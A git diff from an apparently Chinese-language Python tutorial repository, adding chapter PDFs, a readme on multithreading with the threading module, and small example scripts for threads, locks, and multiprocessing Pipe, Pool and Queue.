diff --git "a/1.1 python\347\256\200\344\273\213\345\222\214\347\216\257\345\242\203\346\220\255\345\273\272/1.1.pdf" "b/1.1 python\347\256\200\344\273\213\345\222\214\347\216\257\345\242\203\346\220\255\345\273\272/1.1.pdf" new file mode 100644 index 0000000..08e0c77 Binary files /dev/null and "b/1.1 python\347\256\200\344\273\213\345\222\214\347\216\257\345\242\203\346\220\255\345\273\272/1.1.pdf" differ diff --git a/1.1.pdf b/1.1.pdf new file mode 100644 index 0000000..08e0c77 Binary files /dev/null and b/1.1.pdf differ diff --git "a/1.2 \346\225\260\345\200\274\347\261\273\345\236\213/1.2.pdf" "b/1.2 \346\225\260\345\200\274\347\261\273\345\236\213/1.2.pdf" new file mode 100644 index 0000000..1fc092b Binary files /dev/null and "b/1.2 \346\225\260\345\200\274\347\261\273\345\236\213/1.2.pdf" differ diff --git a/1.2.pdf b/1.2.pdf new file mode 100644 index 0000000..1fc092b Binary files /dev/null and b/1.2.pdf differ diff --git "a/1.3 \345\255\227\347\254\246\344\270\262\343\200\201\345\210\227\350\241\250\343\200\201\345\205\203\347\273\204\343\200\201\345\255\227\345\205\270\345\222\214\351\233\206\345\220\210/1.3.pdf" "b/1.3 \345\255\227\347\254\246\344\270\262\343\200\201\345\210\227\350\241\250\343\200\201\345\205\203\347\273\204\343\200\201\345\255\227\345\205\270\345\222\214\351\233\206\345\220\210/1.3.pdf" new file mode 100644 index 0000000..18f11a4 Binary files /dev/null and "b/1.3 \345\255\227\347\254\246\344\270\262\343\200\201\345\210\227\350\241\250\343\200\201\345\205\203\347\273\204\343\200\201\345\255\227\345\205\270\345\222\214\351\233\206\345\220\210/1.3.pdf" differ diff --git a/1.3.pdf b/1.3.pdf new file mode 100644 index 0000000..18f11a4 Binary files /dev/null and b/1.3.pdf differ diff --git "a/1.4 \346\265\201\347\250\213\346\216\247\345\210\266/1.4.pdf" "b/1.4 \346\265\201\347\250\213\346\216\247\345\210\266/1.4.pdf" new file mode 100644 index 0000000..83d5fcf Binary files /dev/null and "b/1.4 \346\265\201\347\250\213\346\216\247\345\210\266/1.4.pdf" differ diff --git a/1.4.pdf b/1.4.pdf new file mode 100644 index 0000000..83d5fcf Binary files /dev/null and b/1.4.pdf differ diff --git "a/1.5 \345\207\275\346\225\260/1.5.pdf" "b/1.5 \345\207\275\346\225\260/1.5.pdf" new file mode 100644 index 0000000..99847d7 Binary files /dev/null and "b/1.5 \345\207\275\346\225\260/1.5.pdf" differ diff --git a/1.5.pdf b/1.5.pdf new file mode 100644 index 0000000..99847d7 Binary files /dev/null and b/1.5.pdf differ diff --git "a/1.6 \346\250\241\345\235\227/1.6.pdf" "b/1.6 \346\250\241\345\235\227/1.6.pdf" new file mode 100644 index 0000000..616745a Binary files /dev/null and "b/1.6 \346\250\241\345\235\227/1.6.pdf" differ diff --git a/1.6.pdf b/1.6.pdf new file mode 100644 index 0000000..616745a Binary files /dev/null and b/1.6.pdf differ diff --git "a/1.7 \345\274\202\345\270\270\345\244\204\347\220\206/1.7.pdf" "b/1.7 \345\274\202\345\270\270\345\244\204\347\220\206/1.7.pdf" new file mode 100644 index 0000000..9152c2a Binary files /dev/null and "b/1.7 \345\274\202\345\270\270\345\244\204\347\220\206/1.7.pdf" differ diff --git a/1.7.pdf b/1.7.pdf new file mode 100644 index 0000000..9152c2a Binary files /dev/null and b/1.7.pdf differ diff --git "a/1.8 \351\235\242\345\220\221\345\257\271\350\261\241\347\274\226\347\250\213/1.8.pdf" "b/1.8 \351\235\242\345\220\221\345\257\271\350\261\241\347\274\226\347\250\213/1.8.pdf" new file mode 100644 index 0000000..a49221c Binary files /dev/null and "b/1.8 \351\235\242\345\220\221\345\257\271\350\261\241\347\274\226\347\250\213/1.8.pdf" differ diff --git "a/1.8 \351\235\242\345\220\221\345\257\271\350\261\241\347\274\226\347\250\213/img/2.0.pdf" "b/1.8 \351\235\242\345\220\221\345\257\271\350\261\241\347\274\226\347\250\213/img/2.0.pdf" new file mode 100644 index 0000000..2c7a594 Binary files /dev/null and "b/1.8 \351\235\242\345\220\221\345\257\271\350\261\241\347\274\226\347\250\213/img/2.0.pdf" differ diff --git a/1.8.pdf b/1.8.pdf new file mode 100644 index 0000000..a49221c Binary files /dev/null and b/1.8.pdf differ diff --git "a/2.0 Python\347\274\226\347\250\213\344\271\213\347\246\205/readme.md" "b/2.0 Python\347\274\226\347\250\213\344\271\213\347\246\205/readme.md" index 73a9dd7..1988266 100644 --- "a/2.0 Python\347\274\226\347\250\213\344\271\213\347\246\205/readme.md" +++ "b/2.0 Python\347\274\226\347\250\213\344\271\213\347\246\205/readme.md" @@ -4,7 +4,7 @@ ## 2.0.1 编程之禅 -打开终端输入Python,然后输入imprt,一首诗便出现在我们面前了。 +打开终端输入Python,然后输入import this,一首诗便出现在我们面前了。 diff --git a/2.0.pdf b/2.0.pdf new file mode 100644 index 0000000..2c7a594 Binary files /dev/null and b/2.0.pdf differ diff --git "a/2.1 \346\226\207\344\273\266\345\222\214\347\233\256\345\275\225\345\237\272\346\234\254\346\223\215\344\275\234/2.1.pdf" "b/2.1 \346\226\207\344\273\266\345\222\214\347\233\256\345\275\225\345\237\272\346\234\254\346\223\215\344\275\234/2.1.pdf" new file mode 100644 index 0000000..d83442b Binary files /dev/null and "b/2.1 \346\226\207\344\273\266\345\222\214\347\233\256\345\275\225\345\237\272\346\234\254\346\223\215\344\275\234/2.1.pdf" differ diff --git "a/2.1 \346\226\207\344\273\266\345\222\214\347\233\256\345\275\225\345\237\272\346\234\254\346\223\215\344\275\234/readme.md" "b/2.1 \346\226\207\344\273\266\345\222\214\347\233\256\345\275\225\345\237\272\346\234\254\346\223\215\344\275\234/readme.md" index 56012e6..13a6de4 100644 --- "a/2.1 \346\226\207\344\273\266\345\222\214\347\233\256\345\275\225\345\237\272\346\234\254\346\223\215\344\275\234/readme.md" +++ "b/2.1 \346\226\207\344\273\266\345\222\214\347\233\256\345\275\225\345\237\272\346\234\254\346\223\215\344\275\234/readme.md" @@ -262,10 +262,10 @@ def listCurrentDirectoryMode(path): for name in files: pathName = os.path.join(path, name) mode = os.stat(pathName).st_mode - if S_ISDIR(mode): + if stat.S_ISDIR(mode): # 如果是目录 print('%s是文件夹' % pathName) - elif S_ISREG(mode): + elif stat.S_ISREG(mode): # 如果是文件 print('%s是文件'%pathName) else: diff --git a/2.1.pdf b/2.1.pdf new file mode 100644 index 0000000..d83442b Binary files /dev/null and b/2.1.pdf differ diff --git "a/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/code/Identify.py" "b/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/code/Identify.py" new file mode 100644 index 0000000..e0638e7 --- /dev/null +++ "b/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/code/Identify.py" @@ -0,0 +1,23 @@ +# -*- coding: UTF-8 -*- +from threading import Thread,currentThread + + +class MyThread(Thread): + def __init__(self, n): + if n != "": + super(MyThread, self).__init__(name=n) # 重构run函数必须要写 + else: + super(MyThread, self).__init__() # 重构run函数必须要写 + + + def run(self): + print("name:%s\n" %self.getName()) + + +if __name__ == "__main__": + t1 = MyThread("") + t2 = MyThread("t2") + + t1.start() + t2.start() + print(currentThread().getName()) \ No newline at end of file diff --git "a/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/code/extend.py" "b/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/code/extend.py" new file mode 100644 index 0000000..bcc7a9f --- /dev/null +++ "b/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/code/extend.py" @@ -0,0 +1,19 @@ +# -*- coding: UTF-8 -*- +from threading import Thread + + +class MyThread(Thread): + def __init__(self, id): + super(MyThread, self).__init__() # 重构run函数必须要写 + self.id = id + + def run(self): + print("task", self.id) + + +if __name__ == "__main__": + t1 = MyThread("t1") + t2 = MyThread("t2") + + t1.start() + t2.start() \ No newline at end of file diff --git "a/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/code/join.py" "b/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/code/join.py" new file mode 100644 index 0000000..f05fd05 --- /dev/null +++ "b/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/code/join.py" @@ -0,0 +1,19 @@ +# -*- coding: UTF-8 -*- + +import threading +import time +class MyThread(threading.Thread): + def __init__(self,id): + super(MyThread, self).__init__() + self.id = id + def run(self): + time.sleep(3) + print(self.id) + +if __name__ == "__main__": + t1=MyThread(999) + t1.start() + t1.join() + for i in range(5): + print(i) + diff --git "a/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/code/mutex.py" "b/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/code/mutex.py" new file mode 100644 index 0000000..0bd67ed --- /dev/null +++ "b/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/code/mutex.py" @@ -0,0 +1,19 @@ +# -*- coding: UTF-8 -*- + +import threading +import time + +num = 0 +def run(n): + lock.acquire() #获取锁 + global num + print('start:', num) + num += 1 + print('end', num) + lock.release() #释放锁 + +lock = threading.Lock() # 实例化一个锁对象 +for i in range(200): + t = threading.Thread(target=run, args=("t-%s" % i,)) + t.start() + t.join() diff --git "a/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/code/setDaemon.py" "b/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/code/setDaemon.py" new file mode 100644 index 0000000..47fb723 --- /dev/null +++ "b/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/code/setDaemon.py" @@ -0,0 +1,17 @@ +# -*- coding: UTF-8 -*- + +from threading import Thread +import time +class MyThread(Thread): + def __init__(self): + super(MyThread, self).__init__() + def run(self): + time.sleep(5) + print("我是子线程:" + self.getName()) + +if __name__ == "__main__": + t1=MyThread() + t1.setDaemon(True) + t1.start() +print("我是主线程!") + diff --git "a/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/code/simple.py" "b/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/code/simple.py" new file mode 100644 index 0000000..8dfb802 --- /dev/null +++ "b/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/code/simple.py" @@ -0,0 +1,20 @@ +# -*- coding: UTF-8 -*- +import threading + +class SimpleCreator(): + def f(self,id): + print('线程执行 %s \n' %id) + return + def __init__(self): + return + + def creatThread(self): + for i in range(3): + t = threading.Thread(target=self.f,args=(i,)) + t.start() + + + +if __name__ == '__main__': + sc = SimpleCreator() + sc.creatThread() diff --git "a/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/code/timer.py" "b/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/code/timer.py" new file mode 100644 index 0000000..ed95bab --- /dev/null +++ "b/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/code/timer.py" @@ -0,0 +1,12 @@ +# -*- coding: UTF-8 -*- + +import threading +import time + +def hello(): + print("hello, Timer") + +if __name__ == '__main__': + t = threading.Timer(3.0, hello) + t.start() + diff --git "a/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/img/0.jpg" "b/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/img/0.jpg" new file mode 100755 index 0000000..85f3ccd Binary files /dev/null and "b/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/img/0.jpg" differ diff --git "a/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/img/00.jpeg" "b/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/img/00.jpeg" new file mode 100644 index 0000000..7af7d51 Binary files /dev/null and "b/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/img/00.jpeg" differ diff --git "a/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/img/1.png" "b/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/img/1.png" new file mode 100644 index 0000000..73b8991 Binary files /dev/null and "b/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/img/1.png" differ diff --git "a/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/img/2.png" "b/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/img/2.png" new file mode 100644 index 0000000..163a564 Binary files /dev/null and "b/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/img/2.png" differ diff --git "a/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/img/3.png" "b/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/img/3.png" new file mode 100644 index 0000000..2bbf217 Binary files /dev/null and "b/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/img/3.png" differ diff --git "a/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/img/4.png" "b/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/img/4.png" new file mode 100644 index 0000000..d0491e2 Binary files /dev/null and "b/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/img/4.png" differ diff --git "a/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/img/5.png" "b/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/img/5.png" new file mode 100644 index 0000000..cb416a6 Binary files /dev/null and "b/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/img/5.png" differ diff --git "a/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/img/6.png" "b/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/img/6.png" new file mode 100644 index 0000000..37e362a Binary files /dev/null and "b/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/img/6.png" differ diff --git "a/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/img/7.png" "b/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/img/7.png" new file mode 100644 index 0000000..45a7893 Binary files /dev/null and "b/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/img/7.png" differ diff --git "a/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/img/8.png" "b/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/img/8.png" new file mode 100644 index 0000000..6270e19 Binary files /dev/null and "b/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/img/8.png" differ diff --git "a/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/readme.md" "b/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/readme.md" new file mode 100644 index 0000000..a2b81a2 --- /dev/null +++ "b/2.2 \345\244\232\347\272\277\347\250\213\347\274\226\347\250\213/readme.md" @@ -0,0 +1,335 @@ +## 2.2 多线程编程 + +在具体讲解Python的多线程概念之前,我们有必要先搞清楚通常意义上的进程和线程的概念。其实从根本上讲清楚进程和线程并不是一件容易的事情,这里我尽可能的简单去阐述,方便我们写代码即可。 + +每一个应用程序在未执行的时候,只是一个二进制文件,当被执行的时候,操作系统会创建一个该应用的“活体”,就是进程,只有进程才能执行具体的任务。一个进程包括二进制镜像文件、虚拟内存、需要访问的内核资源、安全上下文等等,操作系统会为进程分配一个唯一id。 在linux 系统中使用top 命令可以查看进程信息。 + + + +线程是程序运行的最小调度单元,线程包含在进程中,它包括虚拟处理器、栈、应用程序状态信息等。 + +一个进程至少包含一个线程。多线程进程中,理论上每个线程代表单独的任务,多个任务可以同时执行。 + +在操作系统中两个重要的虚拟化概念是是虚拟内存和虚拟处理器。这两个虚拟化给每个进程一个错觉,就是它们都在独享这个计算机资源。通过虚拟内存,每个进程可以操作的内存地址空间都被认为是整个内存资源(包括磁盘上的交互内存),然后映射到实际的物理内存上,这样将物理内存访问和应用程序的内存访问隔离开。假如计算机上只有4G内存,你起了10个进程,每个进程都认为自己拥有4G内存的空间可以访问。虚拟处理器,让进程认为它独占处理器资源,运行过程中不用关心是否和其他进程发生争抢,不必去处理实际的资源分配问题。虚拟处理器模型,可以很方便的在多处理器架构上,让多个进程并行执行。 + +虚拟内存和进程的概念是直接关联的,一个进程中的多个线程共享同一个虚拟内存空间。虚拟处理器和线程是直接关联的,每一个线程是一个独立的调度单元。 + +Python的多线程和其他语言还是有很大区别的,原则上讲是假的多线程。下面的解释引自知乎: + +``` +Python代码的执行由Python虚拟机(解释器)来控制。Python在设计之初就考虑要在主循环中,同时只有一个线程在执行,就像单CPU的系统中运行多个进程那样,内存中可以存放多个程序,但任意时刻,只有一个程序在CPU中运行。同样地,虽然Python解释器可以运行多个线程,只有一个线程在解释器中运行。对Python虚拟机的访问由全局解释器锁(GIL)来控制,正是这个锁能保证同时只有一个线程在运行。在多线程环境中,Python虚拟机按照以下方式执行。 + +1.设置GIL。 +2.切换到一个线程去执行。 +3.运行。 +4.把线程设置为睡眠状态。 +5.解锁GIL。 +6.再次重复以上步骤。 + +对所有面向I/O的(会调用内建的操作系统C代码的)程序来说,GIL会在这个I/O调用之前被释放,以允许其他线程在这个线程等待I/O的时候运行。如果某线程并未使用很多I/O操作,它会在自己的时间片内一直占用处理器和GIL。也就是说,I/O密集型的Python程序比计算密集型的Python程序更能充分利用多线程的好处。 + + +作者:DarrenChan陈驰 +链接:https://www.zhihu.com/question/23474039/answer/269526476 +``` + +基本概念介绍到这里,下面我们开始学习Python的多线程编程。 + +Python中可以使用thread(_thread)模块和threading模块来创建底层线程,由于threading完全可以替代thread模块,同时提供了更为丰富的功能,所以我们这里只介绍threading模块。 + +### 2.1.1 创建线程 + +#### 直接初始化Thread类 + +threading模块中的Thread类代表一个线程,该类的实现在http://hg.python.org/cpython/file/3.4/Lib/threading.py可以看到。 + +Thread类__init__方法定义如下: +```Python +def __init__(self, group=None, target=None, name=None, + args=(), kwargs=None, *, daemon=None): +``` +我们先使用最简单的直接初始化的方法来创建线程,先看如下代码: + +```Python +# -*- coding: UTF-8 -*- +import threading + +class SimpleCreator(): + def f(self): + print('线程执行\n') + return + def __init__(self): + return + + def creatThread(self): + for i in range(3): + t = threading.Thread(target=self.f) + t.start() + + + +if __name__ == '__main__': + sc = SimpleCreator() + sc.creatThread() +``` + +上面的代码中,我们创建了一个简单的测试类SimpleCreator,先定义了一个方法f,该方法被调用时打印“线程执行”。creatThread方法循环创建三个Thread类的实例,构造函数中只传入 了target参数,值为方法f。接下来每个Thread类的实例会调用start方法,该方法的作用是启动线程。在Thread类内部,satrt方法最终会调用run方法,run方法调用传入的target值。我们继续看最后的三行代码: + +```Python +if __name__ == '__main__': + sc = SimpleCreator() + sc.creatThread() +``` + +首先使用“if __name__ == '__main__'” 来判断当前文件是否是入口文件,在多个.py文件组成的应用中,或者编写给第三方调用的模块的时候,判断应用程序入口是十分必要的,不然很多代码会被引用一次就执行一次。接下来初始化了SimpleCreator的实例sc,然后调用了实例方法creatThread,creatThread按照上面的分析创建线程,线程调用f方法打印文字。最终运行结果如下: + + + +#### 传参 + + +为了让线程能执行更多的任务,我们需要利用args参数给线程传参,修改上面的代码如下: + +```Python + +class SimpleCreator(): + def f(self,id): + print('线程执行 %s \n' %id) + return + def __init__(self): + return + + def creatThread(self): + for i in range(3): + t = threading.Thread(target=self.f,args=(i,)) + t.start() +``` + +如上,修改f方法接收一个id参数,该参数由creatThread在创建Thread实例的时候通过args参数传入。f被调用的时候打印id值。执行结果如下: + + + + +#### 继承threading.Thread + +我们可以创建一个自定义类,继承threading.Thread类,通过重写hreading.Thread类的run方法来控制线程的执行。 新建一个extend.py文件,添加如下代码: + +```Python +# -*- coding: UTF-8 -*- +from threading import Thread + + +class MyThread(Thread): + def __init__(self, id): + super(MyThread, self).__init__() # 重构run函数必须要写 + self.id = id + + def run(self): #重写run方法 + print("task", self.id) + +#调用自定义类 +if __name__ == "__main__": + t1 = MyThread("t1") + t2 = MyThread("t2") + + t1.start() + t2.start() +``` + +上面的代码中,我们声明了一个类MyThread,该类继承threading.Thread,关于继承的概念和方法,如果还不理解请重写学习1.8节。这里注意两个地方,使用继承的方法创建线程,我们通常重写run方法,在run方法中完成该线程要做的事情;第二,重写run方法,必须要在构造函数中手动调用父类的构造函数。 + +运行结果如下: + +``` +task t1 +task t2 +``` + +### 2.1.2 Identify + +每个线程默认都有唯一的标识符,可以通过Thread的getName方法获取到。新建Identify.py文件,添加如下代码: + +```Python +# -*- coding: UTF-8 -*- +from threading import Thread,currentThread + + +class MyThread(Thread): + def __init__(self, n): + if n != "": + super(MyThread, self).__init__(name=n) # 重构run函数必须要写 + else: + super(MyThread, self).__init__() # 重构run函数必须要写 + + + def run(self): + print("name:%s\n" %self.getName())#获取名称 + + +if __name__ == "__main__": + t1 = MyThread("") + t2 = MyThread("t2") + + t1.start() + t2.start() + print(currentThread().getName())#获取当前线程的名字 +``` + +如上面代码,我们仍然通过自定义线程类来进行测试,构造函数对传入的参数进行的判断,如果值不为空则赋值给Thread类的name参数,该操作会修改默认的线程名称。后续的测试代码线程t1没有重命名线程,t2对线程命名为t2。最后,我们调用threading.currentThread()方法来获取当前线程(主线程)的实例。运行结果如下: + + + +### 2.1.3 setDaemon + +程序运行中,执行一个主线程,如果主线程又创建一个子线程,主线程和子线程就分兵两路,分别运行,那么当主线程完成想退出时,会校验子线程是否完成。如果子线程未完成,则主线程会等待子线程完成后再退出。但是有时候我们需要主线程完成了,不管子线程是否完成,都要和主线程一起退出,这时就可以用setDaemon方法了。 + +主线程A中,创建了子线程B,并且在主线程A中调用了B.setDaemon(),这个的意思是,把主线程A设置为守护线程,这时候,要是主线程A执行结束了,就不管子线程B是否完成,一并和主线程A退出。要特别注意的:必须在start() 方法调用之前设置。 + +新建setDaemon.py文件,添加如下代码: + +```Python +# -*- coding: UTF-8 -*- + +from threading import Thread +import time +class MyThread(Thread): + def __init__(self): + super(MyThread, self).__init__() + def run(self): + time.sleep(5) + print("我是子线程:" + self.getName()) + +if __name__ == "__main__": + t1=MyThread() + t1.setDaemon(True) + t1.start() +print("我是主线程!") +``` + +从上面的代码可以看出,子线程t1中的内容并未打出。t1.setDaemon(True)的操作,将父线程设置为了守护线程。根据setDaemon()方法的含义,父线程打印内容后便结束了,不管子线程是否执行完毕了。运行结果如下: + + + + +### 2.1.4 join + +主线程A中,创建了子线程B,并且在主线程A中调用了B.join(),那么,主线程A会在调用的地方等待,直到子线程B完成操作后,才可以接着往下执行,那么在调用这个线程时可以使用被调用线程的join方法。 + +创建join.py文件,添加如下代码: + +```Python +# -*- coding: UTF-8 -*- + +import threading +import time +class MyThread(threading.Thread): + def __init__(self,id): + super(MyThread, self).__init__() + self.id = id + def run(self): + time.sleep(3) + print(self.id) + +if __name__ == "__main__": + t1=MyThread(999) + t1.start() + for i in range(5): + print(i) + +``` +注意上面代码我们调用了 time.sleep方法,该方法会挂起当前线程指定秒数之后在继续执行。 + +运行结果如下: + + + +运行过程中我们可以感知到打印4和999之间,有明显的停顿,会等待3秒钟。线程t1 start后,主线程并没有等线程t1运行结束后再执行,而是先把5次循环打印执行完毕(打印到4),然后sleep(3)后,线程t1把传进去的999才打印出来。下面我们加入join方法,看看它是如何影响运行流程的。 + +```Python +if __name__ == "__main__": + t1=MyThread(999) + t1.start() + t1.join()#此处增加join调用 + for i in range(5): + print(i) +``` + +如上,我们修改启动线程的地方,start之后调用t1.join()。运行过程中,程序会先等待3秒,然后打印999,最后才执行循环打印,实现了子线程调用和主线程的串行执行。运行结果如下: + + + +### 2.1.5 Timer + +Timer(定时器)是Thread的派生类,用于在指定时间后调用一个方法。 + +创建timer.py文件,添加如下代码: + +```Python +# -*- coding: UTF-8 -*- + +import threading +import time + +def hello(): + print("hello, Timer") + +if __name__ == '__main__': + t = threading.Timer(3.0, hello) + t.start() +``` + +上面的代码中,我们调用hreading.Timer创建一个线程t,第一个参数3.0代表start之后3秒钟,该线程才开始执行,第二个参数hello是该线下要调用的函数。运行结果如下: + + + + ### 2.1.6 锁 + + 由于线程之间是进行随机调度,当多个线程同时修改同一条数据时可能会出现脏数据,所以,出现了线程锁,即同一时刻只允许一个线程执行操作。线程锁用于锁定资源,你可以定义多个锁, 当你需要独占某一资源时,任何一个锁都可以锁这个资源,就好比你用不同的锁都可以把相同的一个门锁住是一个道理。 + + + 互斥锁是一种同一时刻只允许一个线程访问资源的锁。创建mutex.py文件,添加下面的代码: + +```Python +# -*- coding: UTF-8 -*- + +import threading +import time + +num = 0 +def run(n): + lock.acquire() #获取锁 + global num + print('start:', num) + num += 1 + print('end', num) + lock.release() #释放锁 + +lock = threading.Lock() # 实例化一个锁对象 +for i in range(200): + t = threading.Thread(target=run, args=("t-%s" % i,)) + t.start() + t.join() +``` +注意上面代码中调用了lock.acquire() 获取锁,通过lock.release()释放锁,两者之间的代码同时只能被一个线程访问。当前线程未推出时,其他线程会等待其执行。另外,通过threading.RLock()可以获得递归锁,RLcok类的用法和Lock类一模一样,但它支持嵌套,,在多个锁没有释放的时候一般会使用使用RLcok类。 + +### 2.1.7 小结 + +多线程是Python编程的难点之一,这里我们简单介绍了基础概念,还有很多概念没有介绍,同学们在有精力的情况下可以自己扩展,没有精力也不必着急,只需把本篇文章中的内容练习掌握即可。扩展内容在后续涉及到的时候会继续讲解。 + +本节作业: + +1. 结合2.1节内容,写一个多线程版本的文件枚举程序,同时输入多个目录,每个线程负责一个目录递归获取该目录下的所有文件。 + +下一篇文章我们继续学习多进程编程,多进程学习完毕之后统一安排练习项目。 + +下一节我们学习多线程编程。 + + + 本系列教程全部内容在星球空间内发布,并提供答疑和辅导。 + + + + 欢迎到关注微信订阅号,交流学习中的问题和心得 + + + diff --git a/2.2.pdf b/2.2.pdf new file mode 100644 index 0000000..2f0b12e Binary files /dev/null and b/2.2.pdf differ diff --git "a/2.3 \345\244\232\350\277\233\347\250\213\347\274\226\347\250\213/2.3.pdf" "b/2.3 \345\244\232\350\277\233\347\250\213\347\274\226\347\250\213/2.3.pdf" new file mode 100644 index 0000000..ac8bc2a Binary files /dev/null and "b/2.3 \345\244\232\350\277\233\347\250\213\347\274\226\347\250\213/2.3.pdf" differ diff --git "a/2.3 \345\244\232\350\277\233\347\250\213\347\274\226\347\250\213/code/Lock.py" "b/2.3 \345\244\232\350\277\233\347\250\213\347\274\226\347\250\213/code/Lock.py" new file mode 100644 index 0000000..5d21911 --- /dev/null +++ "b/2.3 \345\244\232\350\277\233\347\250\213\347\274\226\347\250\213/code/Lock.py" @@ -0,0 +1,24 @@ +# -*- coding: UTF-8 -*- +import multiprocessing +import time + +def job(v, num, l): + l.acquire() # 锁住 + for _ in range(5): + time.sleep(0.1) + v.value += num # 获取共享内存 + print(v.value) + l.release() # 释放 + +def multicore(): + l = multiprocessing.Lock() # 定义一个进程锁 + v = multiprocessing.Value('i', 0) # 定义共享内存 + p1 = multiprocessing.Process(target=job, args=(v,1,l)) # 需要将lock传入 + p2 = multiprocessing.Process(target=job, args=(v,3,l)) + p1.start() + p2.start() + p1.join() + p2.join() + +if __name__ == '__main__': + multicore() \ No newline at end of file diff --git "a/2.3 \345\244\232\350\277\233\347\250\213\347\274\226\347\250\213/code/Pipe.py" "b/2.3 \345\244\232\350\277\233\347\250\213\347\274\226\347\250\213/code/Pipe.py" new file mode 100644 index 0000000..d0e4a81 --- /dev/null +++ "b/2.3 \345\244\232\350\277\233\347\250\213\347\274\226\347\250\213/code/Pipe.py" @@ -0,0 +1,37 @@ +# -*- coding: UTF-8 -*- +import multiprocessing + +def consumer(pipe): + output_p,input_p=pipe + input_p.close() #关闭管道的输入端 + while True: + try: + item=output_p.recv() + print(item) + except EOFError: + break + + +#生产项目并将其放置到队列上,sequence是代表要处理项目的可迭代对象 +def producer(sequence,input_p): + for item in sequence: + #将项目放置在队列上 + input_p.send(item) +if __name__=="__main__": + (output_p,input_p)=multiprocessing.Pipe(True) + #启动使用者进程 + cons_p=multiprocessing.Process(target=consumer,args=((output_p,input_p),)) + cons_p.start() + + #关闭生产者中的输出管道 + output_p.close() + print("生产者关闭") + #生产项目 + sequence=[1,2,3,4] + producer(sequence,input_p) + #关闭输入管道,表示完成 + input_p.close() + #等待使用者进程关闭 + cons_p.join() + + diff --git "a/2.3 \345\244\232\350\277\233\347\250\213\347\274\226\347\250\213/code/Pool.py" "b/2.3 \345\244\232\350\277\233\347\250\213\347\274\226\347\250\213/code/Pool.py" new file mode 100644 index 0000000..54857e8 --- /dev/null +++ "b/2.3 \345\244\232\350\277\233\347\250\213\347\274\226\347\250\213/code/Pool.py" @@ -0,0 +1,20 @@ +# -*- coding: UTF-8 -*- + +from multiprocessing import Process,Pool +import time + +def Foo(i): + time.sleep(2) + return i+100 + +def Bar(arg): + print('-->exec done:',arg) + +pool = Pool(5) #允许进程池同时放入5个进程 + +for i in range(10): + pool.apply_async(func=Foo, args=(i,),callback=Bar) #func子进程执行完后,才会执行callback,否则callback不执行(而且callback是由父进程来执行了) + +print('end') +pool.close() +pool.join() #主进程等待所有子进程执行完毕。必须在close()或terminate()之后。 \ No newline at end of file diff --git "a/2.3 \345\244\232\350\277\233\347\250\213\347\274\226\347\250\213/code/Queue.py" "b/2.3 \345\244\232\350\277\233\347\250\213\347\274\226\347\250\213/code/Queue.py" new file mode 100644 index 0000000..cb24a04 --- /dev/null +++ "b/2.3 \345\244\232\350\277\233\347\250\213\347\274\226\347\250\213/code/Queue.py" @@ -0,0 +1,23 @@ +# -*- coding: UTF-8 -*- + +from multiprocessing import Process, Queue +import time + +def f(q, data): + q.put(data) +def out(q): + time.sleep(4) + print(q.get()) + +if __name__ == '__main__': + q = Queue() + p = Process(target=f, args=(q, [1, 2, 3])) + p.start() + + p.join() + + p1 = Process(target=out,args=(q,)) + p1.start() + + p1.join() + \ No newline at end of file 